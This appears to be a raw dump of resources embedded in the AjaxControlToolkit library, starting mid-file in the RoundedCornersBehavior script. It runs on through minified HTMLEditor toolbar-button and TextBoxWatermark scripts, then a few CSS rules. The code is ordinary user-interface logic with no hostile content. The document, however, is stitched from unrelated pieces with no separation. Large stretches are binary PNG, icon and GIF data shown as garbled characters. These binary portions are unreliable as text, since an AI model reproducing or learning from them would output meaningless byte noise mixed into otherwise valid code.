                        // but it seems to work fine anyway.
                    }
                }
            }

            // restore the original style
            if (this._originalStyle) {
                e.style.cssText = this._originalStyle;
                this._originalStyle = null;
            }
            this._parentDiv = null;
        }
    },

    getBackgroundColor: function() {
        /// <summary>
        /// Get the background color of the target element
        /// </summary>
        if (this._color) {
            return this._color;
        }
        return $common.getCurrentStyle(this.get_element(), 'backgroundColor');
    },

    moveChildren: function(src, dest) {
        /// <summary>
        /// Move the child nodes from one element to another
        /// </summary>
        /// <param name="src" type="Sys.UI.DomElement" domElement="true">
        /// DOM Element
        /// </param>
        /// <param name="dest" type="Sys.UI.DomElement" domElement="true">
        /// DOM Element
        /// </param>

        var moveCount = 0;
        while (src.hasChildNodes()) {
            var child = src.childNodes[0];
            child = src.removeChild(child);
            dest.appendChild(child);
            moveCount++;
        }
        return moveCount;
    },

    isCornerSet: function(corner) {
        /// <summary>
        /// Check whether the a flag for this corner has been set
        /// </summary>
        /// <param name="corner" type="AjaxControlTooolkit.BoxCorners">
        /// Corner to check
        /// </param>
        /// <returns type="Boolean">
        /// True if it is included in the flags, false otherwise
        /// </returns>
        return (this._corners & corner) != AjaxControlToolkit.BoxCorners.None;
    },

    setCorner: function(corner, value) {
        /// <summary>
        /// Set a corner as one that should be rounded
        /// </summary>
        /// <param name="corner" type="AjaxControlToolkit.BoxCorners">
        /// Corner to set
        /// </param>
        /// <param name="value" type="Boolean">
        /// True to set the value, False to clear it
        /// </param>
        if (value) {
            this.set_Corners(this._corners | corner);
        } else {
            this.set_Corners(this._corners & ~corner);
        }
    },
    
    get_Color: function() {
        /// <value type="String">
        /// The background color of the rounded area an corners.  By default this picks up the background color of the panel that it is attached to.
        /// </value>
        return this._color;
    },
    set_Color: function(value) {
        if (value != this._color) {
            this._color = value;
            this._isDirty = true;
            this.update();
            this.raisePropertyChanged('Color');
        }
    },

    get_Radius: function() {
        /// <value type="Number" integer="true">
        /// The radius of the corners (and height of the added area).  Default is 5.
        /// </value>
        return this._radius;
    },
    set_Radius: function(value) {
        if (value != this._radius) {
            this._radius = value;
            this._isDirty = true;
            this.update();
            this.raisePropertyChanged('Radius');
        }
    },

    get_Corners: function() {
        /// <value type="AjaxControlToolkit.BoxCorners">
        /// Corners that should be rounded
        /// </value>
        return this._corners;
    },
    set_Corners: function(value) {
        if (value != this._corners) {
            this._corners = value;
            this._isDirty = true;
            this.update();
            this.raisePropertyChanged("Corners");
        }
    },

    get_BorderColor: function() {
        /// <value type="String">
        /// Color of the border (and hence the rounded corners)
        /// </value>
        return this._borderColor;
    },
    set_BorderColor: function(value) {
        if (value != this._borderColor) {
            this._borderColor = value;
            this._isDirty = true;
            this.update();
            this.raisePropertyChanged("BorderColor");
        }
    }
}
AjaxControlToolkit.RoundedCornersBehavior.registerClass('AjaxControlToolkit.RoundedCornersBehavior', AjaxControlToolkit.BehaviorBase);
jType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("strikeThrough",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("strikeThrough")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState(null)},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel,b=this._editPanel;a._saveContent();a.MSIE_justify("left",true);a.onContentChanged();setTimeout(function(){b.updateToolbar()},0)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveAlignment",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("InsertOrderedList")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);"Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.TextBoxWatermarkBehavior=function(c){var b=null,a=this;AjaxControlToolkit.TextBoxWatermarkBehavior.initializeBase(a,[c]);a._watermarkText=b;a._watermarkCssClass=b;a._focusHandler=b;a._blurHandler=b;a._keyPressHandler=b;a._propertyChangedHandler=b;a._watermarkChangedHandler=b;a._oldClassName=b;a._clearedForSubmit=b;a._maxLength=b;if(typeof WebForm_OnSubmit=="function"&&!AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit){AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit=WebForm_OnSubmit;WebForm_OnSubmit=AjaxControlToolkit.TextBoxWatermarkBehavior.WebForm_OnSubmit}};AjaxControlToolkit.TextBoxWatermarkBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(a,"initialize");var b=a.get_element(),e=false,c=AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(a,"get_ClientState");if(c!=null&&c!=""){e=c=="Focused";AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(a,"set_ClientState",null)}a._oldClassName=b.className;a._focusHandler=Function.createDelegate(a,a._onFocus);a._blurHandler=Function.createDelegate(a,a._onBlur);a._keyPressHandler=Function.createDelegate(a,a._onKeyPress);$addHandler(b,"focus",a._focusHandler);$addHandler(b,"blur",a._blurHandler);$addHandler(b,"keypress",a._keyPressHandler);a.registerPropertyChanged();var f=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_Current(),d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());if(""==f||a._watermarkText==f){d.set_Watermark(a._watermarkText);d.set_IsWatermarked(true)}if(e)a._onFocus();else{b.blur();a._onBlur()}a._clearedForSubmit=false;a.registerPartialUpdateEvents();a._watermarkChangedHandler=Function.createDelegate(a,a._onWatermarkChanged);d.add_WatermarkChanged(a._watermarkChangedHandler)},dispose:function(){var b=null,a=this,c=a.get_element();if(a._watermarkChangedHandler){AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).remove_WatermarkChanged(a._watermarkChangedHandler);a._watermarkChangedHandler=b}if(c.control&&a._propertyChangedHandler){c.control.remove_propertyChanged(a._propertyChangedHandler);a._propertyChangedHandler=b}if(a._focusHandler){$removeHandler(c,"focus",a._focusHandler);a._focusHandler=b}if(a._blurHandler){$removeHandler(c,"blur",a._blurHandler);a._blurHandler=b}if(a._keyPressHandler){$removeHandler(c,"keypress",a._keyPressHandler);a._keyPressHandler=b}AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_IsWatermarked()&&a.clearText(false);AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(a,"dispose")},_onWatermarkChanged:function(){if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked())this._onBlur();else this._onFocus()},clearText:function(c){var a=this.get_element(),b=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a);b.set_Value("");b.set_IsWatermarked(false);if(c){a.setAttribute("autocomplete","off");a.select()}},_onFocus:function(c){var a=this,b=a.get_element();AjaxControlToolkit.TextBoxWrapper.get_Wrapper(b).get_IsWatermarked()&&a.clearText(c?true:false);b.className=a._oldClassName;if(a._maxLength>0){a.get_element().maxLength=a._maxLength;a._maxLength=null}},_onBlur:function(){var a=this,b=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());if(""==b.get_Current()||b.get_IsWatermarked()){if(a.get_element().maxLength>0&&a._watermarkText.length>a.get_element().maxLength){a._maxLength=a.get_element().maxLength;a.get_element().maxLength=a._watermarkText.length}a._applyWatermark()}},_applyWatermark:function(){var a=this,b=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());b.set_Watermark(a._watermarkText);b.set_IsWatermarked(true);if(a._watermarkCssClass)a.get_element().className=a._watermarkCssClass},_onKeyPress:function(){AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).set_IsWatermarked(false)},registerPropertyChanged:function(){var a=this,b=a.get_element();if(b.control&&!a._propertyChangedHandler){a._propertyChangedHandler=Function.createDelegate(a,a._onPropertyChanged);b.control.add_propertyChanged(a._propertyChangedHandler)}},_onPropertyChanged:function(b,a){"text"==a.get_propertyName()&&this.set_Text(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Current())},_onSubmit:function(){if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()){this.clearText(false);this._clearedForSubmit=true}},_partialUpdateEndRequest:function(c,b){var a=this;AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(a,"_partialUpdateEndRequest",[c,b]);if(a.get_element()&&a._clearedForSubmit){a.get_element().blur();a._onBlur();a._clearedForSubmit=false}},get_WatermarkText:function(){return this._watermarkText},set_WatermarkText:function(b){var a=this;if(a._watermarkText!=b){a._watermarkText=b;AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_IsWatermarked()&&a._applyWatermark();a.raisePropertyChanged("WatermarkText")}},get_WatermarkCssClass:function(){return this._watermarkCssClass},set_WatermarkCssClass:function(b){var a=this;if(a._watermarkCssClass!=b){a._watermarkCssClass=b;AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_IsWatermarked()&&a._applyWatermark();a.raisePropertyChanged("WatermarkCssClass")}},get_Text:function(){return AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Value()},set_Text:function(b){var a=this;if(""==b){AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).set_Current("");a.get_element().blur();a._onBlur()}else{a._onFocus();AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).set_Current(b)}}};AjaxControlToolkit.TextBoxWatermarkBehavior.registerClass("AjaxControlToolkit.TextBoxWatermarkBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.TextBoxWatermarkBehavior.WebForm_OnSubmit=function(){var d=AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit();if(d)for(var b=Sys.Application.getComponents(),a=0;a<b.length;a++){var c=b[a];AjaxControlToolkit.TextBoxWatermarkBehavior.isInstanceOfType(c)&&c._onSubmit()}return d};��PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FIDATxڬ�Ol�ǿo��c;;Ɗ���� ��*)�Be�(ˊ˖"�jˡ���PꅞR+�e/{��jU	$D��@9���+R	$!$N<��ϛy=����R�#�4ϓ�{����Lc�6!�$��
6e�5HE�=��B{����D��_(�>K�{E�f0�P�]���DB��J�V�V���aZ@h\t���H�ȑ#��+Q�۷o�]�zu�P�%���[XX`I�&;
I���?��O�>��eY_����:s����3˲�����߿��ɓ����οo����ǘ��A�\�F�d�ϝ;�����g��0�u��81�jii�ݹs�'N��	�����hjj
������p|���0�����o۶�SEQ�O�V�B�.VVV0>>��S�N��:���`����P�fA����y�SSS����T��y� �a�6���=M�P,�gϞ�]�r�����l����F�ض
�4�V4ƭ[���[6��4v49��뤖��c(�˸q�Ư.]�4��Z�3,�&�� �G����8�J��<DQ��1ְ�DhJQ�a����ܗ�K��u]�T�Ri�4͟QJ�~�IZ���0�y�����ӧO��,������^9��
��H:���-AZ�J�a�R
�q��ߏ�����d��J�d��]�p�{�T�=�b�����f@A@UU��w���]	F%EI�(�-[���N��#SU��Ǣi4MkXk�UU!�J)\�Egg'���~�͔��*Y��vx�۶�iL�!��ò,h�֐O��M���4
Q�^��1EQ���Rx35�&@�}�H)�eY�<�^�B�P���4���P,��ݍL&�#}��9*�
���q��!����}��iBA!B6�!�mG���}x�J)l����,�]���7���XXXhzn�&v�ލz�J)!���Z������v�Z]Q�P-p���UU7��Q!lݺ���<�a]�Q��`۶��{I�-//U�T>	�J)���p��A�EQ6�a��Z�,A�1�l6���9���>���h�Z�D333㝝��޹sg\|߇�M����R�Y�� �Jarr���_�2 2pK�-�J垞�GCCCC������l6�j��G��.//?��MWFn����?ݻwoh�޽��j���5��iشiFGG�����F��P��ie&
 (�Ja��xpp�\�J����EA>�dzg�011�/_��8�hIYC>v올�;??utt�a ������!r�!�x�",�;�*�q�9�fb���?���ryb~~���/_���(�PU��o^�@)�ٳgQ�T>w��8L�k&Vw�\�߿rs��������0��=z��v�B�RA�Z��
�SU�a�4M
ܽ{ׯ_G�^�Cc�T͕0�a����!>|(���,�w4M�hoo��i�>|;v�@>��[UU��d������iܼy�J�D)�3cl�C��%�R��Z3�����O�<!�� ��}��N&����#�XWW��,l�����0|��2��1��"?��wa/��y��x��ErB#K�kJ��(�f&c��{��8��%�mi����h7��֒����$)�\��ې;�/Ay�s2�6tl1L>�o�]�m5�
0]w��6M����iY+��0���Ą)C%�%QR���Z�&UU�$þ�'���/�$�:��
��ȷ��?�-��IEND�B`��PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	1IDATxڬ�[�]U��Z�z.sfNۙ)��Zj�բ�D�	����ƚ6M߈!�G�)}2!K��Z�5�Z(2��t��ҹ�9sn���|�}�{�Ո'����g�~�[�Z�_��,"��{�)/e�%f�Yls���a���wN�qz݆�8����c࿃�@@�m��20����q��������Y�J�`8p�k߾}��8Zk:u���s�=WM�$5��)�J���Ƹ�>-f2 Yw``��������Yf#Z�i���*�o����7���8qb
@��E(<44��s�Εa2 2�pz衾#G��h��h�UA#���$�LB�p2=yJ��ʭ�]꽡��|�ɿ=��cZBq
������={�܀iG����=w��_�����[t�
V�IH�8�
�؎��Z�HbiEM雊�kVc��f��7y���O
���BEY��g��=��s#f�$i�]vj��_���M�G��c^�A��xc���1|_òI���6:R��
z�==�tM
���]q�����G�^Ȭ>����l򒘩�����j{��?~��w�y�os�����7�L�����,�H�(����X'�R!F	��Z]�Q����߲�����=v��?�R/Ei�3^�LE�L�
�ݲe��O�Z�%���&p=�6I"�`i��s�-߲K+��j���rB��av}���{𚵑^��ڵ�>��@�.m�0ۗ�}���}=�+�…ag.))-,f�$'��ad�	\'W�~�Ć����_>��-Ԋ�����ql�$J
���T��Iw{���C�}@����E�E�lذ!��9k֬����b�z���#D��B0� <��N�s<),˂�H���J�`4Hip�p,lQ���-ŷ
�7�^�r��3�-�z�Gns���k�N�%(�%%�MI�
\��'y�Nl)%,˂���]!bW��#���Ц8�--E~����={�l�pR��.ʮ��[���N���R���C[������w��ꠐ[��n����RBZN�8�Ua!��U�y�m��[.E��b-�IPp�߼y�t��0u�@J)?'F�pt�uٗ�'m�f�L���-i�d�YP���`C��z�6����V	�.j�"�\�U�i�jM�׶�^7i�e���$I���T�$����\�%y�x��m��}!�[�!Poz�-(���h�Q�?��j��rY�Wjs1�n�|ݲ��/t�Ч�P�^g���$E��p�#Q�._��,}��y4��e�[�y��hP��ǑlF�n4X!㯜���j=$�.ݲY'B�`k*w���o~����D�$���`d��R�Ư~q��5�j�{�2�d�r����+Y72���J�v�0����6�tś�@�"���LL;�`g��H���ݫ���B#�r��������Ѻ�4�	�z�y:v��`&�K�p�W*���f�.�V�1���.~y}co�6�j	���.@H��˂���|T�y{��R]�fHe`����~Lg����'�i��s��F��z�W��3o~���~,�M$۱�%��)��f������&q�)8n.�P�Kv���s��h�Rɔ�f	L�\��]�v�i��x�VM�����г`�i2�&q���Sk��ѧ�ɔ@���4=:�jbff�B�����Yi���̙3g�vスo�W�t����d���z
�~�
TX�*�O�k�d4�CB��q��WN���;33�&�F
�.I�N�������###/�zp���6��w3�O�%�	�KÈznj�:��Z0]\&�n��	��+�D�����Z��&��&��%�$7e�	�v
���޹::�ǟ�v��l�k�^�t��K�.($v%�H�:����@6��kp�O־�����J�t�PMa��3&��ga8S�GZCCC/
]�����{�ZϘ���ÐL`"�����A2!�1�F���ǿ�;<6�kg̦��VzQo�+�ݻwCk��/f�_@@Ѳ�5�r���K�ރ��W߿-*m/���	l���oO���!Q;�����跕R�2��J�z&�Պ0;v�1�.]�J;Mh>�������{�_d���۝cY��~��z������L���Ҷ==Q�R�M�6-
����N�`�@~ꩶyB�~yf��y63�Qꁶ+I�����׷DnV��N9k����1'�/3�V��w�x�]w�h[�)�J�Dy�+��6��Q��Z[u�[�U�+�,��<o	H�:N�
�_t��!�o
�FJ�(�ovp�#�e�?{$r3�e8��}��{�k�h�IEND�B`��  �( @���������������ʦ""")))UUUMMMBBB999�|�PP���������������3f��3333f3�3�3�ff3fff�f�f���3�f��������3�f̙����f����3333f3�3�3�3333333f33�33�33�3f3f33ff3f�3f�3f�3�3�33�f3��3��3��3�3�33�f3̙3��3�3�33�f3��3��3��ff3fff�f�f�f3f33f3ff3�f3�f3�ffff3fffff�ff�f�f�3f�ff��f��f��f�f�3f̙f��f�f�f�3f��f���������3�������33�f�3����f�f3�3f�f��f��3���3��f�������������3f�f�̙���������3��f�����������3�f�����3�33�3f�3��3��3��f�f3�ff�f��f��f�̙̙3̙f̙�̙�̙�����3��f�̙�������3��f�������3�f���3�33�3f�3��3��3��f�f3�ff�f��f��f�����3��f�������������3��f�̙�������3�f������ff�f�ff���ff�f���f!�___www����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������۬������������������������������۬���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6   �& h�( @ ����r�����q�����o�����n����~l����{j����yh����we����tc����ra����o^����n]����l[����jY����iW����hW���q������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������iY���s�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������kZ���v������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������m[���x�������������ƻ��i3������������������������������������������������������������������������������������������������������������������xa��rI�i3����������uc��uc��sa��q_��n\��kY��hU�}cQ�y`M�v\I�sXE�oUB�mR?�jO;�hM9�fK7����������������������o]���{�������������ƻ���xa�ƻ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������q`���~�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sb��������������������������������������������������������������������������������������������������������������������������������ü�z;������������������������������������������������������������������������������������������ve�����������������‹p��U�z;��������uc��uc��sa��q_��n\��kY��gU�}cQ�z`M�v\I�rXE�pUB�lR?�jO;�hM9�fK7��������������������������������������ü�‹p��ü�����������������������������������������������������������������������������������xg�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{i������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������}k��������������ü�z;������������������������������������������������������������������������������������������‹p��U�z;�������uc��uc��sa��q_��n\��kX��gT�}cQ�y`M�v\I�sXE�oUB�lR>�jO;�gM9�fK7���������������������n��������������ü�‹p��ü����������������������������������������������������������������������������������������������������������������������������������������������������������o�������������������������������������������������������������������������������������������������������������������������������������������������������������������q���������������������������������������������������������������������������������������������������������������������������������������������������������������r���������������������������������������������������������������������������}�����{�����y�����w�����������(  ����r�����q�����n����|j����wf����q`����m[����iX���s��������������������������������������������������������������������������V9����������sc��sc�sZB�sZB�kR9�kJ9����������iY���z��������’}��vU���������������������������������������������������������������������������������������������������n]������������������������������������������������������������������Ĺ���r��������{k��sZ�{cJ�sRB�sRB�kJ9����������td�����������ך~��tJ����������������������������������������������������������������������������������|k���������������������������������������������������Л}��^6������sc��sZ�sZB�sZB�kR9�kR9���������p���������߻��֟������������������������������������������������������������������r��������������������������������������{�����w�����x���������������������������������table {border: #000000 1px dashed;}
td    {border: #000000 1px dashed;}
div   {border: #0000FF 1px dashed; padding: 0px; margin:0px;}
form  {border: #FF0000 1px dashed;}
.spell_highlighted
{
	background-color: blue;
	color: yellow;
}
�.ajax__slider_h_rail {position:relative;background:url(<%=WebResource("AjaxControlToolkit.Slider.Images.slider_h_rail.gif")%>) repeat-x;height:22px;width:150px;}
.ajax__slider_h_handle {position:absolute;height:22px;width:10px;}
.ajax__slider_v_rail {position:relative;background:url(<%=WebResource("AjaxControlToolkit.Slider.Images.slider_v_rail.gif")%>) repeat-y;width:22px;height:150px;}
.ajax__slider_v_handle {position:absolute;height:10px;width:22px;}
�GIF89a����:���������������������������������������������������������������������������������������������������������������������������)^����!�?,���pH,��̆�l:�Ma'D*Y���U(B�\�x�Z2�`Mh��o�@F���Zo���B.8w>>����B26	::�����B9;������<w<����B0	�	}�	�B
���B�!! BS%(*)(&#!��BSw.0�.,($"�B%)�էĈB<���P
�
P!�Ċh,‘�6j�(@`��BTĠq�#"��d
�����-
